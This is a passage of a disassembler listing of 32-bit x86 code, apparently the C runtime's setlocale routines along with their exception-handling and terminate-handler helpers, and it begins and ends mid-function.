mov edx, [ebp+arg_C]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_4247F0
add esp, 8
push eax
mov edx, [ebp+var_1C]
push edx
call sub_4197C0
add esp, 0Ch
jmp short loc_42468B
; ---------------------------------------------------------------------------
loc_424686: ; CODE XREF: sub_4244E0+166j
; sub_4244E0+178j
call sub_424940
loc_42468B: ; CODE XREF: sub_4244E0+1A4j
jmp loc_424733
; ---------------------------------------------------------------------------
loc_424690: ; CODE XREF: sub_4244E0+151j
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+18h]
push ecx
call sub_42A820
add esp, 8
test eax, eax
jz loc_42472E
push 1
mov edx, [ebp+var_1C]
push edx
call sub_42A850
add esp, 8
test eax, eax
jz short loc_42472E
mov eax, [ebp+arg_C]
mov ecx, [eax+18h]
push ecx
call sub_42A880
add esp, 4
test eax, eax
jz short loc_42472E
mov edx, [ebp+arg_C]
mov eax, [edx]
and eax, 4
test eax, eax
jz short loc_424705
push 1
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_4247F0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_419330
jmp short loc_42472C
; ---------------------------------------------------------------------------
loc_424705: ; CODE XREF: sub_4244E0+1F8j
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_4247F0
add esp, 8
push eax
mov ecx, [ebp+arg_C]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_1C]
push eax
call sub_419320
loc_42472C: ; CODE XREF: sub_4244E0+223j
jmp short loc_424733
; ---------------------------------------------------------------------------
loc_42472E: ; CODE XREF: sub_4244E0+1C3j
; sub_4244E0+1D9j ...
call sub_424940
loc_424733: ; CODE XREF: sub_4244E0:loc_4245A1j
; sub_4244E0:loc_424625j ...
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42474A
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_424890
loc_42474A: ; CODE XREF: sub_4244E0:loc_424526j
; sub_4244E0+25Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4244E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424760 proc near ; CODE XREF: sub_423CD0+252p
; sub_42441D+55p
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4341B0
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp [ebp+arg_0], 0
jz short loc_4247D5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp dword ptr [ecx+4], 0
jz short loc_4247D5
mov [ebp+var_4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+18h]
push eax
call sub_419310
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4247D5
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_4]
and eax, 0FFh
neg eax
sbb eax, eax
neg eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
call sub_424890
loc_4247D5: ; CODE XREF: sub_424760+2Aj
; sub_424760+36j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_424760 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4247F0 proc near ; CODE XREF: sub_4244E0+ADp
; sub_4244E0+131p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jl short loc_42482F
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov ecx, [ebp+var_4]
add ecx, [eax+edx]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, [edx+4]
mov [ebp+var_4], eax
loc_42482F: ; CODE XREF: sub_4247F0+16j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4247F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424840 proc near ; CODE XREF: sub_419410+4Dp
; sub_424150+8Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41977D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42487F
mov ecx, 2
loc_42487F: ; CODE XREF: sub_424840+38j
push ecx
call sub_41977D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_424840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424890 proc near ; CODE XREF: sub_423CD0:loc_423F63p
; sub_424250:loc_424271p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424904 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4341C0
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
call sub_41F970
cmp dword ptr [eax+60h], 0
jz short loc_4248F0
mov [ebp+var_4], 1
call sub_41F970
call dword ptr [eax+60h]
mov [ebp+var_4], 0
jmp short loc_4248F0
; ---------------------------------------------------------------------------
loc_4248E0: ; DATA XREF: ___:004341D0o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4248E6: ; DATA XREF: ___:004341D4o
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_4248F0: ; CODE XREF: sub_424890+36j
; sub_424890+4Ej
mov [ebp+var_4], 0FFFFFFFFh
call sub_4248FE
jmp short loc_424904
sub_424890 endp
; =============== S U B R O U T I N E =======================================
sub_4248FE proc near ; CODE XREF: sub_424890+67p
; DATA XREF: ___:004341C8o
call sub_42A8B0
retn
sub_4248FE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424890
loc_424904: ; CODE XREF: sub_424890+6Cj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_424890
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41F970
cmp dword ptr [eax+64h], 0
jz short loc_424936
call sub_41F970
call dword ptr [eax+64h]
loc_424936: ; CODE XREF: ___:0042492Cj
call sub_424890
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424940 proc near ; CODE XREF: sub_419620+23p
; sub_419620:loc_41968Dp ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004249B0 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4341D8
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_4], 0
cmp off_444270, 0
jz short loc_42499C
mov [ebp+var_4], 1
call off_444270
mov [ebp+var_4], 0
jmp short loc_42499C
; ---------------------------------------------------------------------------
loc_42498C: ; DATA XREF: ___:004341E8o
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_424992: ; DATA XREF: ___:004341ECo
mov esp, [ebp+var_18]
mov [ebp+var_4], 0
loc_42499C: ; CODE XREF: sub_424940+34j
; sub_424940+4Aj
mov [ebp+var_4], 0FFFFFFFFh
call sub_4249AA
jmp short loc_4249B0
sub_424940 endp
; =============== S U B R O U T I N E =======================================
sub_4249AA proc near ; CODE XREF: sub_424940+63p
call sub_424890
retn
sub_4249AA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424940
loc_4249B0: ; CODE XREF: sub_424940+68j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_424940
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0B0h
cmp dword ptr [ebp+8], 0
jl short loc_4249E5
cmp dword ptr [ebp+8], 5
jle short loc_4249EC
loc_4249E5: ; CODE XREF: ___:004249DDj
xor eax, eax
jmp loc_424DBB
; ---------------------------------------------------------------------------
loc_4249EC: ; CODE XREF: ___:004249E3j
push 13h
call sub_41B780
add esp, 4
mov dword ptr [ebp-4], 1
mov eax, dword_4DB458
add eax, 1
mov dword_4DB458, eax
loc_424A0A: ; CODE XREF: ___:00424A1Bj
cmp dword_4DB45C, 0
jz short loc_424A1D
push 1
call near ptr 2690599h
nop
jmp short loc_424A0A
; ---------------------------------------------------------------------------
loc_424A1D: ; CODE XREF: ___:00424A11j
cmp dword ptr [ebp+8], 0
jz short loc_424A61
cmp dword ptr [ebp+0Ch], 0
jz short loc_424A41
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_424DC0
add esp, 8
mov [ebp-0A8h], eax
jmp short loc_424A53
; ---------------------------------------------------------------------------
loc_424A41: ; CODE XREF: ___:00424A27j
mov eax, [ebp+8]
imul eax, 0Ch
mov ecx, dword_444384[eax]
mov [ebp-0A8h], ecx
loc_424A53: ; CODE XREF: ___:00424A3Fj
mov edx, [ebp-0A8h]
mov [ebp-8], edx
jmp loc_424D9B
; ---------------------------------------------------------------------------
loc_424A61: ; CODE XREF: ___:00424A21j
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-0Ch], 0
cmp dword ptr [ebp+0Ch], 0
jz loc_424D93
mov eax, [ebp+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 4Ch
jnz loc_424CA4
mov edx, [ebp+0Ch]
movsx eax, byte ptr [edx+1]
cmp eax, 43h
jnz loc_424CA4
mov ecx, [ebp+0Ch]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Fh
jnz loc_424CA4
mov eax, [ebp+0Ch]
mov [ebp-9Ch], eax
loc_424AB1: ; CODE XREF: ___:00424C73j
push offset asc_434234 ; "=;"
mov ecx, [ebp-9Ch]
push ecx
call sub_42BDD0
add esp, 8
mov [ebp-0A0h], eax
cmp dword ptr [ebp-0A0h], 0
jz short loc_424AFD
mov edx, [ebp-0A0h]
sub edx, [ebp-9Ch]
mov [ebp-0A4h], edx
cmp dword ptr [ebp-0A4h], 0
jz short loc_424AFD
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jnz short loc_424B23
loc_424AFD: ; CODE XREF: ___:00424AD2j
; ___:00424AEDj
cmp dword ptr [ebp-4], 0
jz short loc_424B1C
push 13h
call sub_41B820
add esp, 4
mov edx, dword_4DB458
sub edx, 1
mov dword_4DB458, edx
loc_424B1C: ; CODE XREF: ___:00424B01j
xor eax, eax
jmp loc_424DBB
; ---------------------------------------------------------------------------
loc_424B23: ; CODE XREF: ___:00424AFBj
mov dword ptr [ebp-10h], 1
jmp short loc_424B35
; ---------------------------------------------------------------------------
loc_424B2C: ; CODE XREF: ___:loc_424B81j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_424B35: ; CODE XREF: ___:00424B2Aj
cmp dword ptr [ebp-10h], 5
jg short loc_424B83
mov ecx, [ebp-0A4h]
push ecx
mov edx, [ebp-9Ch]
push edx
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, off_444380[eax]
push ecx
call sub_418480
add esp, 0Ch
test eax, eax
jnz short loc_424B81
mov edx, [ebp-10h]
imul edx, 0Ch
mov eax, off_444380[edx]
push eax
call sub_414BE0
add esp, 4
cmp [ebp-0A4h], eax
jnz short loc_424B81
jmp short loc_424B83
; ---------------------------------------------------------------------------
loc_424B81: ; CODE XREF: ___:00424B60j
; ___:00424B7Dj
jmp short loc_424B2C
; ---------------------------------------------------------------------------
loc_424B83: ; CODE XREF: ___:00424B39j
; ___:00424B7Fj
push offset asc_434230 ; ";"
mov ecx, [ebp-0A0h]
add ecx, 1
mov [ebp-0A0h], ecx
mov edx, [ebp-0A0h]
push edx
call sub_42BD90
add esp, 8
mov [ebp-0A4h], eax
cmp dword ptr [ebp-0A4h], 0
jnz short loc_424BE9
mov eax, [ebp-0A0h]
movsx ecx, byte ptr [eax]
cmp ecx, 3Bh
jz short loc_424BE9
cmp dword ptr [ebp-4], 0
jz short loc_424BE2
push 13h
call sub_41B820
add esp, 4
mov edx, dword_4DB458
sub edx, 1
mov dword_4DB458, edx
loc_424BE2: ; CODE XREF: ___:00424BC7j
xor eax, eax
jmp loc_424DBB
; ---------------------------------------------------------------------------
loc_424BE9: ; CODE XREF: ___:00424BB3j
; ___:00424BC1j
cmp dword ptr [ebp-10h], 5
jg short loc_424C3A
mov eax, [ebp-0A4h]
push eax
mov ecx, [ebp-0A0h]
push ecx
lea edx, [ebp-98h]
push edx
call sub_417770
add esp, 0Ch
mov eax, [ebp-0A4h]
mov byte ptr [ebp+eax-98h], 0
lea ecx, [ebp-98h]
push ecx
mov edx, [ebp-10h]
push edx
call sub_424DC0
add esp, 8
test eax, eax
jz short loc_424C3A
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_424C3A: ; CODE XREF: ___:00424BEDj
; ___:00424C2Fj
mov ecx, [ebp-0A0h]
add ecx, [ebp-0A4h]
mov [ebp-9Ch], ecx
loc_424C4C: ; DATA XREF: ___:00444BC4o
; ___:00444C0Co
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_424C68
mov ecx, [ebp-9Ch]
add ecx, 1
mov [ebp-9Ch], ecx
loc_424C68: ; CODE XREF: ___:00424C57j
mov edx, [ebp-9Ch]
movsx eax, byte ptr [edx]
test eax, eax
jnz loc_424AB1
cmp dword ptr [ebp-0Ch], 0
jz short loc_424C8C
call sub_424F60
mov [ebp-0ACh], eax
jmp short loc_424C96
; ---------------------------------------------------------------------------
loc_424C8C: ; CODE XREF: ___:00424C7Dj
mov dword ptr [ebp-0ACh], 0
loc_424C96: ; CODE XREF: ___:00424C8Aj
mov ecx, [ebp-0ACh]
mov [ebp-8], ecx
jmp loc_424D91
; ---------------------------------------------------------------------------
loc_424CA4: ; CODE XREF: ___:00424A82j
; ___:00424A92j ...
mov edx, [ebp+8]
push edx
push 0
push 0
lea eax, [ebp-98h]
push eax
mov ecx, [ebp+0Ch]
push ecx
call sub_425060
add esp, 14h
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_424D91
mov dword ptr [ebp-10h], 0
jmp short loc_424CDE
; ---------------------------------------------------------------------------
loc_424CD5: ; CODE XREF: ___:loc_424D3Ej
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_424CDE: ; CODE XREF: ___:00424CD3j
cmp dword ptr [ebp-10h], 5
jg short loc_424D40
cmp dword ptr [ebp-10h], 0
jz short loc_424D3E
mov eax, [ebp-10h]
imul eax, 0Ch
mov ecx, dword_444384[eax]
push ecx
lea edx, [ebp-98h]
push edx
call sub_417870
add esp, 8
test eax, eax
jz short loc_424D35
lea eax, [ebp-98h]
push eax
mov ecx, [ebp-10h]
push ecx
call sub_424DC0
add esp, 8
test eax, eax
jz short loc_424D2C
mov edx, [ebp-0Ch]
add edx, 1
mov [ebp-0Ch], edx
jmp short loc_424D33
; ---------------------------------------------------------------------------
loc_424D2C: ; CODE XREF: ___:00424D1Fj
mov dword ptr [ebp-14h], 0
loc_424D33: ; CODE XREF: ___:00424D2Aj
jmp short loc_424D3E
; ---------------------------------------------------------------------------
loc_424D35: ; CODE XREF: ___:00424D08j
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_424D3E: ; CODE XREF: ___:00424CE8j
; ___:loc_424D33j
jmp short loc_424CD5
; ---------------------------------------------------------------------------
loc_424D40: ; CODE XREF: ___:00424CE2j
cmp dword ptr [ebp-14h], 0
jz short loc_424D6B
call sub_424F60
mov [ebp-8], eax
push 2
mov ecx, dword_444384
push ecx
call sub_415860
add esp, 8
mov dword_444384, 0
jmp short loc_424D91
; ---------------------------------------------------------------------------
loc_424D6B: ; CODE XREF: ___:00424D44j
cmp dword ptr [ebp-0Ch], 0
jz short loc_424D7E
call sub_424F60
mov [ebp-0B0h], eax
jmp short loc_424D88
; ---------------------------------------------------------------------------
loc_424D7E: ; CODE XREF: ___:00424D6Fj
mov dword ptr [ebp-0B0h], 0
loc_424D88: ; CODE XREF: ___:00424D7Cj
mov edx, [ebp-0B0h]
mov [ebp-8], edx
loc_424D91: ; CODE XREF: ___:00424C9Fj
; ___:00424CC6j ...
jmp short loc_424D9B
; ---------------------------------------------------------------------------
loc_424D93: ; CODE XREF: ___:00424A73j
call sub_424F60
mov [ebp-8], eax
loc_424D9B: ; CODE XREF: ___:00424A5Cj
; ___:loc_424D91j
cmp dword ptr [ebp-4], 0
jz short loc_424DB8
push 13h
call sub_41B820
add esp, 4
mov eax, dword_4DB458
sub eax, 1
mov dword_4DB458, eax
loc_424DB8: ; CODE XREF: ___:00424D9Fj
mov eax, [ebp-8]
loc_424DBB: ; CODE XREF: ___:004249E7j
; ___:00424B1Ej ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DC0 proc near ; CODE XREF: ___:00424A31p
; ___:00424C25p ...
var_A8 = dword ptr -0A8h
var_A0 = dword ptr -0A0h
var_9C = byte ptr -9Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_A0]
push ecx
lea edx, [ebp+var_A8]
push edx
lea eax, [ebp+var_9C]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_425060
add esp, 14h
test eax, eax
jnz short loc_424DF9
xor eax, eax
jmp loc_424F4F
; ---------------------------------------------------------------------------
loc_424DF9: ; CODE XREF: sub_424DC0+30j
push 132h
push offset aSetlocal_c ; "setlocal.c"
push 2
lea edx, [ebp+var_9C]
push edx
call sub_414BE0
add esp, 4
add eax, 1
push eax
call sub_414DD0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_424E30
xor eax, eax
jmp loc_424F4F
; ---------------------------------------------------------------------------
loc_424E30: ; CODE XREF: sub_424DC0+67j
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, dword_444384[eax]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
loc_424E42: ; DATA XREF: ___:00444C34o
mov eax, dword_4DB1B0[edx*4]
mov [ebp+var_4], eax
push 6
mov ecx, [ebp+arg_0]
imul ecx, 6
add ecx, offset dword_4DB3E4
push ecx
lea edx, [ebp+var_14]
push edx
call sub_4187B0
add esp, 0Ch
mov eax, dword_4DB1C8
mov [ebp+var_18], eax
lea ecx, [ebp+var_9C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_4184C0
add esp, 8
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov dword_444384[ecx], eax
mov edx, [ebp+var_A8]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov dword_4DB1B0[eax*4], edx
push 6
lea ecx, [ebp+var_A8]
push ecx
mov edx, [ebp+arg_0]
imul edx, 6
add edx, offset dword_4DB3E4
push edx
call sub_4187B0
add esp, 0Ch
cmp [ebp+arg_0], 2
jnz short loc_424ED3
mov eax, [ebp+var_A0]
mov dword_4DB1C8, eax
loc_424ED3: ; CODE XREF: sub_424DC0+106j
cmp [ebp+arg_0], 1
jnz short loc_424EE5
mov ecx, [ebp+var_A0]
mov dword_4DB1CC, ecx
loc_424EE5: ; CODE XREF: sub_424DC0+117j
mov edx, [ebp+arg_0]
imul edx, 0Ch
call off_444388[edx]
test eax, eax
jz short loc_424F2C
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, [ebp+var_C]
mov dword_444384[eax], ecx
push 2
mov edx, [ebp+var_8]
push edx
call sub_415860
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_4DB1B0[eax*4], ecx
mov edx, [ebp+var_18]
mov dword_4DB1C8, edx
xor eax, eax
jmp short loc_424F4F
; ---------------------------------------------------------------------------
loc_424F2C: ; CODE XREF: sub_424DC0+133j
cmp [ebp+var_C], offset dword_444274
jz short loc_424F43
push 2
mov eax, [ebp+var_C]
push eax
call sub_415860
add esp, 8
loc_424F43: ; CODE XREF: sub_424DC0+173j
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov eax, dword_444384[ecx]
loc_424F4F: ; CODE XREF: sub_424DC0+34j
; sub_424DC0+6Bj ...
mov esp, ebp
pop ebp
retn
sub_424DC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424F60 proc near ; CODE XREF: ___:00424C7Fp
; ___:00424D46p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 1
cmp dword_444384, 0
jnz short loc_424F94
push 167h
push offset aSetlocal_c ; "setlocal.c"
push 2
push 351h
call sub_414DD0
add esp, 10h
mov dword_444384, eax
loc_424F94: ; CODE XREF: sub_424F60+14j
mov eax, dword_444384
mov byte ptr [eax], 0
mov [ebp+var_4], 1
jmp short loc_424FAE
; ---------------------------------------------------------------------------
loc_424FA5: ; CODE XREF: sub_424F60:loc_425057j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_424FAE: ; CODE XREF: sub_424F60+43j
mov edx, [ebp+var_4]
imul edx, 0Ch
mov eax, dword_444384[edx]
push eax
push offset asc_434244 ; "="
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, off_444380[ecx]
push edx
push 3
mov eax, dword_444384
push eax
call sub_425200
add esp, 14h
cmp [ebp+var_4], 5
jge short loc_425029
push offset asc_434230 ; ";"
mov ecx, dword_444384
push ecx
call sub_4184D0
add esp, 8
mov edx, [ebp+var_4]
add edx, 1
imul edx, 0Ch
mov eax, dword_444384[edx]
push eax
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, dword_444384[ecx]
push edx
call sub_417870
add esp, 8
test eax, eax
jz short loc_425027
mov [ebp+var_8], 0
loc_425027: ; CODE XREF: sub_424F60+BEj
jmp short loc_425057
; ---------------------------------------------------------------------------
loc_425029: ; CODE XREF: sub_424F60+81j
cmp [ebp+var_8], 0
jnz short loc_425036
mov eax, dword_444384
jmp short loc_42505C
; ---------------------------------------------------------------------------
loc_425036: ; CODE XREF: sub_424F60+CDj
push 2
mov eax, dword_444384
push eax
call sub_415860
add esp, 8
mov dword_444384, 0
mov eax, off_44439C
jmp short loc_42505C
; ---------------------------------------------------------------------------
loc_425057: ; CODE XREF: sub_424F60:loc_425027j
jmp loc_424FA5
; ---------------------------------------------------------------------------
loc_42505C: ; CODE XREF: sub_424F60+D4j
; sub_424F60+F5j
mov esp, ebp
pop ebp
retn
sub_424F60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425060 proc near ; CODE XREF: ___:00424CB7p
; sub_424DC0+26p
var_88 = byte ptr -88h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 88h
cmp [ebp+arg_0], 0
jnz short loc_425076
xor eax, eax
jmp loc_4251E0
; ---------------------------------------------------------------------------
loc_425076: ; CODE XREF: sub_425060+Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 43h
jnz short loc_4250D0
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
test eax, eax
jnz short loc_4250D0
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 43h
mov edx, [ebp+arg_4]
mov byte ptr [edx+1], 0
cmp [ebp+arg_8], 0
jz short loc_4250B9
mov eax, [ebp+arg_8]
mov word ptr [eax], 0
mov ecx, [ebp+arg_8]
mov word ptr [ecx+2], 0
mov edx, [ebp+arg_8]
mov word ptr [edx+4], 0
loc_4250B9: ; CODE XREF: sub_425060+3Dj
cmp [ebp+arg_C], 0
jz short loc_4250C8
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_4250C8: ; CODE XREF: sub_425060+5Dj
mov eax, [ebp+arg_4]
jmp loc_4251E0
; ---------------------------------------------------------------------------
loc_4250D0: ; CODE XREF: sub_425060+1Fj
; sub_425060+2Aj
mov ecx, [ebp+arg_0]
push ecx
push offset dword_4442FC
call sub_417870
add esp, 8
test eax, eax
jz loc_425198
mov edx, [ebp+arg_0]
push edx
push offset dword_444278
call sub_417870
add esp, 8
test eax, eax
jz loc_425198
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_88]
push ecx
call sub_425250
add esp, 8
test eax, eax
jz short loc_425120
xor eax, eax
jmp loc_4251E0
; ---------------------------------------------------------------------------
loc_425120: ; CODE XREF: sub_425060+B7j
lea edx, [ebp+var_88]
push edx
push offset dword_4DB1A4
lea eax, [ebp+var_88]
push eax
call sub_42BE10
add esp, 0Ch
test eax, eax
jnz short loc_425146
xor eax, eax
jmp loc_4251E0
; ---------------------------------------------------------------------------
loc_425146: ; CODE XREF: sub_425060+DDj
xor ecx, ecx
mov cx, word_4DB1A8
mov dword_4DB1AC, ecx
lea edx, [ebp+var_88]
push edx
push offset dword_4442FC
call sub_4253B0
add esp, 8
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_425186
mov edx, [ebp+arg_0]
push edx
push offset dword_444278
call sub_4184C0
add esp, 8
jmp short loc_425198
; ---------------------------------------------------------------------------
loc_425186: ; CODE XREF: sub_425060+111j
push offset dword_4442FC
push offset dword_444278
call sub_4184C0
add esp, 8
loc_425198: ; CODE XREF: sub_425060+83j
; sub_425060+9Cj ...
cmp [ebp+arg_8], 0
jz short loc_4251B1
push 6
push offset dword_4DB1A4
mov eax, [ebp+arg_8]
push eax
call sub_4187B0
add esp, 0Ch
loc_4251B1: ; CODE XREF: sub_425060+13Cj
cmp [ebp+arg_C], 0
jz short loc_4251CA
push 4
push offset dword_4DB1AC
mov ecx, [ebp+arg_C]
push ecx
call sub_4187B0
add esp, 0Ch
loc_4251CA: ; CODE XREF: sub_425060+155j
push offset dword_4442FC
mov edx, [ebp+arg_4]
push edx
call sub_4184C0
add esp, 8
mov eax, offset dword_4442FC
loc_4251E0: ; CODE XREF: sub_425060+11j
; sub_425060+6Bj ...
mov esp, ebp
pop ebp
retn
sub_425060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251F0 proc near ; CODE XREF: sub_424DC0+12Bp
; DATA XREF: ___:off_444388o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_4251F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425200 proc near ; CODE XREF: sub_424F60+75p
; sub_4253B0+30p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_42521E
; ---------------------------------------------------------------------------
loc_425215: ; CODE XREF: sub_425200+42j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_42521E: ; CODE XREF: sub_425200+13j
mov edx, [ebp+var_8]
cmp edx, [ebp+arg_4]
jge short loc_425244
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx-4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4184D0
add esp, 8
jmp short loc_425215
; ---------------------------------------------------------------------------
loc_425244: ; CODE XREF: sub_425200+24j
; DATA XREF: ___:00444774o ...
mov [ebp+var_4], 0
mov esp, ebp
pop ebp
retn
sub_425200 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425250 proc near ; CODE XREF: sub_425060+ADp
